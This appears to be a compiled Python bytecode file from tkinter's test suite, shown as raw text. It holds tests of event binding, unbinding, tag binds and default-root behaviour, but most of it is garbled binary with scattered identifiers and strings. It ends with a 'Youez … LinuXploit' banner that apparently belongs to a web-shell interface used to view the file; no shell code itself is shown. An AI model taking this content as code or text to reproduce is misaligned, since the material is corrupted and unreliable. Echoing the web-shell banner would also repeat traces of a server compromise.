55 URUR0S5 URUR2S5 URUR4S5 URUR6S5 URUR8S5 URUR:S5 URUR<S5 URUR>S5 URUR@S5 URURBS5 URURDURG5S-5 URURHS5 URURJS5 UR[MU5S
5 g)Nr�ror�z<<Spam>>r�)r�rurFrr�rz<VirtualEvent event x=50 y=0>)'rr'r&rRr�r�r�rpr�r�r(rBrgr�rrRr�rWr�r�r�rr@r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�s    r�!test_generate_event_virtual_event�+EventTest.test_generate_event_virtual_event5s8���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���z�6�=�=�)�	�
�
��	����r��*�����V��a��0��1�I���
�
�a�f�f�g�/�/�<�<�=��
�
�a�h�h��"����a�h�h��,��������#��
�
�a�l�l�E�*������G�,�-��������%�������!�$��������&�������D�)�������4�(�������t�,�������$�'�������4�(�������b�!�������a� �������1�=�=�?�R�#7�8�������2�&�������!�$�����a��+�	.rr2N)
r3r4r5r6r�r�r�r�r�r�r�r�r7r2rrr�r�Cs7�� 5�DT�B$G�LJ�B J�D M�D L�D!.rr�c�^�\rSrSrU4SjrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrU=r$)�BindTestiYc�>�[TU]5 URn[R"URSSSS9UlUR
R
5 g)N�Testr�ro��class_r�r�)�super�setUpr&rr'�framerR)rr&�	__class__s  �rr��BindTest.setUp[s@���
��
���y�y���]�]�4�9�9�V�),�S�:��
��
�
���rc�R�UR[URU5U45 grw�r(�_info_commandsr&�r�funcids  r�assertCommandExist�BindTest.assertCommandExistbs�������	�	�6�:�V�I�Frc�P�UR[URU5S5 g)Nr2r�r�s  r�assertCommandNotExist�BindTest.assertCommandNotExistes�������	�	�6�:�B�?rc�B�SnURnURUR5S5 URURU5S5 SnSnURX5nURUR5U45 URU5nURXV5 UR	U5 URXSS9nURU5nURXV5 URXv5 UR	U5 UR	U5 g)N�<Control-Alt-Key-a>r2r�c��grwr2�r�s r�test1�!BindTest.test_bind.<locals>.test1m���drc��grwr2r�s r�test2�!BindTest.test_bind.<locals>.test2nrrT��add)r�r(r�rr�)r�eventr+rrr�r��funcid2s        r�	test_bind�BindTest.test_bindhs���%���J�J���������2�&����������+�������%���������E�8�,��������
�
�f�%�����'��&�&��4�&�0���������
�
�f�%��
�
�g�&�����'�����(rc���SnURnURUR5S5 URURU5S5 SnSnURX5nURXSS9nUR[UR
5 URU5 URURU5S5 URUR5S5 g)N�<Control-Alt-Key-b>r2r�c��grwr2r�s rr�#BindTest.test_unbind.<locals>.test1�rrc��grwr2r�s rr�#BindTest.test_unbind.<locals>.test2�rrTr)r�r(r�r�ri�unbind)rrr+rrr�r	s       r�test_unbind�BindTest.test_unbind}s���%���J�J���������2�&����������+�������%���&�&��4�&�0�����)�Q�X�X�.�	��������������+��������2�&rc�D^
�URnUR5 UR5 UR5 SnUR	UR5S5 UR	URU5S5 U
4SjnU
4SjnU
4SjnURX#5nURX$SS9nURX%SS9n/m
UR
U5 UR	T
/S	Q5 URX'5 URU5n	URXy5 URXi5 URX�5 UR	UR5U45 URU5 URU5 URU5 /m
UR
U5 UR	T
S
S/5 URX&5 URX(5 UR	URU5S5 UR	UR5S5 URU5 URU5 URU5 /m
UR
U5 UR	T
/5 UR[RURX'5 g)Nz<Control-Alt-Key-c>r2r�c�(>�TRS5 g)N�a�rp�r�r�s �rr�$BindTest.test_unbind2.<locals>.test1�����f�m�m�C�(rc�(>�TRS5 g)NrDrrs �rr�$BindTest.test_unbind2.<locals>.test2�rrc�(>�TRS5 g)N�crrs �r�test3�$BindTest.test_unbind2.<locals>.test3�rrTr)rrDrrr)r�r�r�r�r(r�r�rrrr�r�r�rr)rr+rrrr r�r	�funcid3r�r�s          @r�test_unbind2�BindTest.test_unbind2�s����J�J��	����	�
�
��	����%���������2�&����������+�(�(�(�����%���&�&��4�&�0���&�&��4�&�0����	����������1�	���� �����������)��
�
�f�%��
�
�g�&��������E�8�,��"�"�7�+�����'�����(���	���������#�s��,�	�����	���� ����������+��������2�&��"�"�6�*��"�"�7�+��"�"�7�+���	����������$�	
���'�*�*�A�H�H�e�Erc�l�SnURnURUR5S5 URURU5S5 SnSnSnURX5nURXSS9nURU5nURXx5 URXh5 UR	U5 UR	U5 URX5n	URU5nURXh5 URXx5 URX�5 UR	U	5 g)	N�<Control-Alt-Key-d>r2r�c��grwr2r�s rr�(BindTest.test_bind_rebind.<locals>.test1�rrc��grwr2r�s rr�(BindTest.test_bind_rebind.<locals>.test2�rrc��grwr2r�s rr �(BindTest.test_bind_rebind.<locals>.test3�rrTr)r�r(r�rr�r)
rrr+rrr r�r	r�r"s
          r�test_bind_rebind�BindTest.test_bind_rebind�s���%���J�J���������2�&����������+��������%���&�&��4�&�0���������
�
�g�&��
�
�f�%�����'�����(��&�&��&������������(�����)��
�
�g�&�����(rc�d�SnURRnURRnUR[U5 URU"S5S5 URU"SU5S5 UR
USU5 SnSnU"SX5nURU"S5U45 U"SU5nURXg5 URU5 U"SXSS9nU"SU5nURXg5 URX�5 URU5 URU5 g)	Nz<Control-Alt-Key-e>r�r2r�c��grwr2r�s rr�'BindTest.test_bind_class.<locals>.test1�rrc��grwr2r�s rr�'BindTest.test_bind_class.<locals>.test2�rrTr)	r&�
bind_class�unbind_classr�rir(�
addCleanuprr�)	rrr4r5rrr�r�r	s	         r�test_bind_class�BindTest.test_bind_class�s��%���Y�Y�)�)�
��y�y�-�-�����)�Z�0�����F�+�R�0�����F�E�2�B�7�����f�e�4����F�E�1������F�+�e�X�6��F�E�*���
�
�f�%�����'��V�U�t�<���F�E�*���
�
�f�%��
�
�g�&�����'�����(rc�:�SnURRnURRnURU"S5S5 URU"SU5S5 UR	USU5 SnSnU"SX5nU"SXSS9nUR[U5 UR[US5 U"SU5 URU"SU5S5 URU"S5S5 URU5 URU5 U"SU5 g)	Nz<Control-Alt-Key-f>r�r2r�c��grwr2r�s rr�)BindTest.test_unbind_class.<locals>.test1�rrc��grwr2r�s rr�)BindTest.test_unbind_class.<locals>.test2�rrTr)r&r4r5r(r6r�rir�)rrr4r5rrr�r	s        r�test_unbind_class�BindTest.test_unbind_class�s���%���Y�Y�)�)�
��y�y�-�-������F�+�R�0�����F�E�2�B�7�����f�e�4����F�E�1���V�U�t�<�����)�\�2����)�\�6�:��V�U�#�����F�E�2�B�7�����F�+�R�0�����'�����(��V�U�#rc��SnURRnURRnURU"S5S5 URU"SU5S5 UR	USU5 SnSnSnU"SX5nU"SXSS	9nU"SU5n	URX�5 URXy5 UR
U5 UR
U5 U"SX5n
U"SU5n	URXy5 URX�5 URX�5 UR
U5 UR
U5 UR
U
5 g)
Nz<Control-Alt-Key-g>r�r2r�c��grwr2r�s rr�.BindTest.test_bind_class_rebind.<locals>.test1	rrc��grwr2r�s rr�.BindTest.test_bind_class_rebind.<locals>.test2
rrc��grwr2r�s rr �.BindTest.test_bind_class_rebind.<locals>.test3rrTr)r&r4r5r(r6rr�r)rrr4r5rrr r�r	r�r"s           r�test_bind_class_rebind�BindTest.test_bind_class_rebinds.��%���Y�Y�)�)�
��y�y�-�-������F�+�R�0�����F�E�2�B�7�����f�e�4�����F�E�1���V�U�t�<���F�E�*���
�
�g�&��
�
�f�%�����'�����(��V�U�2���F�E�*������(�����)��
�
�g�&�����'�����(�����(rc� �SnURRnURRnURX"55 UR	U"U5S5 URX15 SnSnU"X5nUR
X"55 U"U5nUR
Xg5 URU5 U"XSS9nU"U5nUR
Xg5 UR
X�5 URU5 URU5 g)Nz<Control-Alt-Key-h>r�c��grwr2r�s rr�%BindTest.test_bind_all.<locals>.test1%rrc��grwr2r�s rr�%BindTest.test_bind_all.<locals>.test2&rrTr�r&�bind_all�
unbind_allrr(r6rr�)	rrrOrPrrr�r�r	s	         r�
test_bind_all�BindTest.test_bind_alls���%���9�9�%�%���Y�Y�)�)�
������
�+�����%��"�-����
�*����%�'���
�
�e�X�Z�(��%����
�
�f�%�����'��5�T�2���%����
�
�f�%��
�
�g�&�����'�����(rc���SnURRnURRnURX"55 UR	U"U5S5 URX15 SnSnU"X5nU"XSS9nU"U5 UR	U"U5S5 URX"55 UR
U5 UR
U5 U"U5 g)Nz<Control-Alt-Key-i>r�c��grwr2r�s rr�'BindTest.test_unbind_all.<locals>.test1<rrc��grwr2r�s rr�'BindTest.test_unbind_all.<locals>.test2=rrTr)r&rOrPrr(r6r�)rrrOrPrrr�r	s        r�test_unbind_all�BindTest.test_unbind_all5s���%���9�9�%�%���Y�Y�)�)�
������
�+�����%��"�-����
�*����%�'���5�T�2���5������%��"�-������
�+�����'�����(��5�rc��SnURRnURRnURX"55 UR	U"U5S5 URX15 SnSnSnU"X5nU"XSS9nU"U5n	UR
X�5 UR
Xy5 URU5 URU5 U"X5n
U"U5n	URXy5 URX�5 UR
X�5 URU5 URU5 URU
5 g)Nz<Control-Alt-Key-j>r�c��grwr2r�s rr�,BindTest.test_bind_all_rebind.<locals>.test1Qrrc��grwr2r�s rr�,BindTest.test_bind_all_rebind.<locals>.test2Rrrc��grwr2r�s rr �,BindTest.test_bind_all_rebind.<locals>.test3SrrTrrN)rrrOrPrrr r�r	r�r"s           r�test_bind_all_rebind�BindTest.test_bind_all_rebindJs��%���9�9�%�%���Y�Y�)�)�
������
�+�����%��"�-����
�*�����%�'���5�T�2���%����
�
�g�&��
�
�f�%�����'�����(��5�(���%�������(�����)��
�
�g�&�����'�����(�����(rc�l�SnSnUR5 UR[UR5 [	U[
R5(aUROURn[	U[
R5(aBUR[URU5 UR[URX#5 URU"U5S5 URU"X#5S5 SnSnURX#U5nURU"U5U45 U"X#5nURXx5 URU5 URX#USS9n	U"X#5nURXx5 URX�5 URU5 URU	5 g)	N�selr�r2r�c��grwr2r�s rr�&BindTest._test_tag_bind.<locals>.test1qrrc��grwr2r�s rr�&BindTest._test_tag_bind.<locals>.test2rrrTr)rRr�ri�tag_bind�
isinstancer�Text�	_tag_bindr(rr�)
rr��tagrrirrr�r�r	s
          r�_test_tag_bind�BindTest._test_tag_bindfsP����%��	�������)�Q�Z�Z�0�",�Q����"=�"=�1�;�;�1�:�:���a����&�&����i����S�9����i����S�@�����#���+�����#�-�r�2������C��.������#����1��#�%���
�
�f�%�����'��*�*�S��D�*�9���#�%���
�
�f�%��
�
�g�&�����'�����(rc��SnSnUR5 [U[R5(aUROUR
nUR
U"U5S5 UR
U"X#5S5 SnSnURX#U5nURX#USS9nUR[URU5 URX#5 UR
U"X#5S5 UR
U"U5S5 g)	Nrdr
r2r�c��grwr2r�s rr�(BindTest._test_tag_unbind.<locals>.test1�rrc��grwr2r�s rr�(BindTest._test_tag_unbind.<locals>.test2�rrTr)
rRrjrrkrlrir(r�ri�
tag_unbind)	rr�rmrrirrr�r	s	         r�_test_tag_unbind�BindTest._test_tag_unbind�s�����%��	����",�Q����"=�"=�1�;�;�1�:�:������#���+�����#�-�r�2������C��.���*�*�S��D�*�9�����)�Q�\�\�3�7�	���S� �����#�-�r�2�����#���+rc��SnSnUR5 [U[R5(aUROUR
nUR
U"U5S5 UR
U"X#5S5 SnSnSnURX#U5nURX#USS	9n	U"X#5n
URX�5 URX�5 URU5 URU	5 URX#U5nU"X#5n
URX�5 URX�5 URX�5 URU5 g)
Nrdr&r2r�c��grwr2r�s rr�-BindTest._test_tag_bind_rebind.<locals>.test1�rrc��grwr2r�s rr�-BindTest._test_tag_bind_rebind.<locals>.test2�rrc��grwr2r�s rr �-BindTest._test_tag_bind_rebind.<locals>.test3�rrTr)
rRrjrrkrlrir(rr�r)rr�rmrrirrr r�r	r�r"s            r�_test_tag_bind_rebind�BindTest._test_tag_bind_rebind�s����%��	����",�Q����"=�"=�1�;�;�1�:�:������#���+�����#�-�r�2�������C��.���*�*�S��D�*�9���#�%���
�
�g�&��
�
�f�%�����'�����(��*�*�S��/���#�%������(�����)��
�
�g�&�����(rc�f�[R"UR5nURU5 grw)r�Canvasr�rn�rrs  r�test_canvas_tag_bind�BindTest.test_canvas_tag_bind�s"���N�N�4�:�:�&�����A�rc�f�[R"UR5nURU5 grw)rr�r�rvr�s  r�test_canvas_tag_unbind�BindTest.test_canvas_tag_unbind�s"���N�N�4�:�:�&�����a� rc�f�[R"UR5nURU5 grw)rr�r�rr�s  r�test_canvas_tag_bind_rebind�$BindTest.test_canvas_tag_bind_rebind�s"���N�N�4�:�:�&���"�"�1�%rc�f�[R"UR5nURU5 grw)rrkr�rn�rr*s  r�test_text_tag_bind�BindTest.test_text_tag_bind�s"���L�L����$�����A�rc�f�[R"UR5nURU5 grw)rrkr�rvr�s  r�test_text_tag_unbind�BindTest.test_text_tag_unbind�s"���L�L����$�����a� rc�f�[R"UR5nURU5 grw)rrkr�rr�s  r�test_text_tag_bind_rebind�"BindTest.test_text_tag_bind_rebind�s"���L�L����$���"�"�1�%rc�,�URnURURR5S5 URUR5[	U5SSS45 URS5 URUR5S5 g)N)r9�Tk�allr�r9r�)rzb c)r�r(r&�bindtagsr>)rr+s  r�
test_bindtags�BindTest.test_bindtags�sn���J�J��������+�+�-�/A�B���������A����U�'C�D�	�
�
�<� ��������|�4rc�^�SnURn[R"U5n[R"USSSS9nUR	5 UR5 UR
5 URURSU5 URURSU5 URURSU5 URURSU5 URURU5 U4S	jnURX"S
55 URSX"S55 URSX"S55 URSX"S55 URSX"S55 URX"S
55 URX"S55 /mURU5 URTS
U4SU4SU4S
U4/5 /mURU5 URTSU4SU4S
U4/5 URS5 /mURU5 URTSU4/5 g)Nr�r�r�ror�r%rm�tag2c�>^�UU4Sj$)Nc�>>�TRTUR45$rw)rpr�)r�r��whats ��rr��9BindTest.test_bind_events.<locals>.test.<locals>.<lambda>�s���V�]�]�D�!�(�(�+;�<rr2)r�r�s`�r�test�'BindTest.test_bind_events.<locals>.test�s	���<�<rr�zframe classztoplevel classr��toplevel)rm�tag3)r&rr%r'rRr�r�r6r5rPrOr4r�r�r(r�)rrr&r*r+r�r�s      @r�test_bind_events�BindTest.test_bind_events�s
������y�y�����T�"���M�M�!�F�#�c�B��	����������������)�)�6�5�9�����)�)�:�u�=�����)�)�5�%�8�����)�)�6�5�9��������/�	=�	
�
�
�e�T�%�[�)������t�M�':�;����
�E�4�0@�+A�B�����u�d�5�k�2������t�F�|�4�	���u�d�7�m�$�	���u�d�:�&�'���	���������
�a�L�
�A��
��O�
�A�J�	"
�	���	���������
��O�
�q�!�
�A�J�"
�	�	
�
�
�?�#���	���������5�!�*��.r)r�)r3r4r5r6r�r�r�r
rr#r-r7r>rGrQrXrarnrvrr�r�r�r�r�r�r�r�r7�
__classcell__)r�s@rr�r�Ys�����G�@�)�*'� ,F�\)�0)�0$�.)�8)�.�*)�8)�6,�$)�4�!�&��!�&�5�,/�,/rr�c�,�\rSrSrSrSrSrSrSrg)�DefaultRootTesti�c�\�UR[RS5 UR[R5 [R
"5n[R
"5n[R
"5nUR[RU5 UR
5 UR[RU5 UR
5 UR[R5 UR
5 UR[R5 g)NT)rgr�_support_default_rootr��
_default_rootr�r�)rr&�root2�root3s    r�test_default_root�!DefaultRootTest.test_default_root�s����
�
�g�3�3�T�:����'�/�/�0��z�z�|���
�
����
�
����
�
�g�+�+�T�2�
�
�
���
�
�g�+�+�T�2��������'�/�/�0�
�
�
�����'�/�/�0rc��UR[RS5 UR[R5 [R
"5nUR[RU5 [R"5 UR[RS5 UR[[S55 [R"5 UR[RS5 UR[[S55 UR5 UR[RS5 UR[[S55 [R
"5nUR[RS5 UR[[S55 UR5 g)NTFr�)
rgrr�r�r�r��
NoDefaultRootr@r�r�rqs  r�test_no_default_root�$DefaultRootTest.test_no_default_roots"���
�
�g�3�3�T�:����'�/�/�0��z�z�|���
�
�g�+�+�T�2������
�
�g�3�3�U�;������/�:�;������
�
�g�3�3�U�;������/�:�;������
�
�g�3�3�U�;������/�:�;��z�z�|���
�
�g�3�3�U�;������/�:�;����rc��UR[[RS5 [R"5nUR[R"S5S5 UR[[RS5 UR5 [R"5 UR[[RS5 g)Nr`Trf)	r��RuntimeErrorrrhr�rgr�r�r�rqs  rrk�DefaultRootTest.test_getbooleans������,��(:�(:�C�@��z�z�|���
�
�g�(�(��-�t�4����*�g�&8�&8�%�@������������,��(:�(:�C�@rc�h�UR[[R5 [R"5nURUR5 [R"5 UR5 [R"5 UR[[R5 grw)	r�r�rrtr�r�rqr�r�rqs  rrv�DefaultRootTest.test_mainloop(sj�����,��(8�(8�9��z�z�|������	�	�"����������������,��(8�(8�9rr2N)	r3r4r5r6r�r�rkrvr7r2rrr�r��s��1��(A�:rr�c�n�URRURRSSU55$)Nr��commands)r�r�r�)r��patterns  rr�r�2s(���9�9���v�y�y�~�~�f�j�'�J�K�Kr�__main__rw)r��unittestrrrWr�r�test.test_tkinter.supportrrrrr	�requires�TestCaserr�r�r�r�r�r3�mainr2rr�<module>r�s���������1�G�G������cG�~�x�0�0�cG�LM�^�X�.�.�M�`S.��� 1� 1�S.�l_/�~�x�0�0�_/�D
4:�-�x�/@�/@�4:�nL��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit